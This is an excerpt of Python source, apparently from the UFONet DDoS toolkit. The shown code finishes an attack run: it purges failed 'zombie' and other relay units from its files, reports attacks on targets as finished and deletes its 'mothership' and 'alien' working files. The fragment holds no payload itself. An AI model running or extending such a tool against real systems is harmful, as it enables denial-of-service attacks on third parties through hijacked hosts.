  4811. if backup_reply == "y" or backup_reply == "Y":
  4812. print("\n[Info] [AI] Purging failed units from files...\n")
  4813. discarded = []
  4814. if self.num_discard_zombies > 0:
  4815. for z in self.discardzombies:
  4816. discarded.append(z)
  4817. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  4818. if self.num_discard_aliens > 0:
  4819. for a in self.discard_aliens:
  4820. discarded.append(a)
  4821. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  4822. if self.num_discard_droids > 0:
  4823. for d in self.discard_droids:
  4824. discarded.append(d)
  4825. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  4826. if self.num_discard_rpcs > 0:
  4827. for r in self.discard_rpcs:
  4828. discarded.append(r)
  4829. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  4830. if self.num_discard_ucavs > 0:
  4831. for u in self.discard_ucavs:
  4832. discarded.append(u)
  4833. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  4834. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4835. if disc_zombies > 0 and disc_zombies < 2:
  4836. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  4837. elif disc_zombies > 1:
  4838. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  4839. if not self.options.target_list:
  4840. print('-'*21+ "\n")
  4841. print("[AI] "+self.exit_msg+"\n")
  4842. if not self.options.web:
  4843. return
  4844. else:
  4845. if self.num_target_list > 0: # still more targets
  4846. print('-'*21+ "\n")
  4847. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  4848. return
  4849. else: # finish attack from multiple targets
  4850. print('-'*21+ "\n")
  4851. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  4852. print("\n"+ '='*21+ "\n")
  4853. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  4854. print("\n"+ '-'*21+ "\n")
  4855. print("[AI] "+self.exit_msg+"\n")
  4856. if not self.options.web:
  4857. return
  4858. else:
  4859. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4860. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  4861. if os.path.exists('mothership') == True:
  4862. os.remove('mothership') # remove mothership stream
  4863. if os.path.exists('alien') == True:
  4864. os.remove('alien') # remove random alien worker
  4865. if not options.web:
  4866. sys.exit(2) # exit
  4867. else:
  4868. return
  4869. else:
  4870. print("\n" + '='*21)
  4871. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4872. if AI_reply == "y" or AI_reply == "Y":
  4873. self.AI() # AI fortune cookie
  4874. print('-'*21+ "\n")
  4875. print("\n[AI] "+self.exit_msg+"\n")
  4876. if os.path.exists('mothership') == True:
  4877. os.remove('mothership') # remove mothership stream
  4878. if os.path.exists('alien') == True:
  4879. os.remove('alien') # remove random alien worker
  4880. if not options.web:
  4881. sys.exit(2) # exit
  4882. else:
  4883. return
  4884. else:
  4885. if not options.attackme:
  4886. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  4887. else:
  4888. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  4889. print("\n" + '-'*21)
  4890. print("\n[AI] "+self.exit_msg+"\n")
  4891. if os.path.exists('mothership') == True:
  4892. os.remove('mothership') # remove mothership stream
  4893. if os.path.exists('alien') == True:
  4894. os.remove('alien') # remove random alien worker
  4895. return
  4896. if __name__ == "__main__":
  4897. app = UFONet()
  4898. options = app.create_options()
  4899. if options:
  4900. app.run()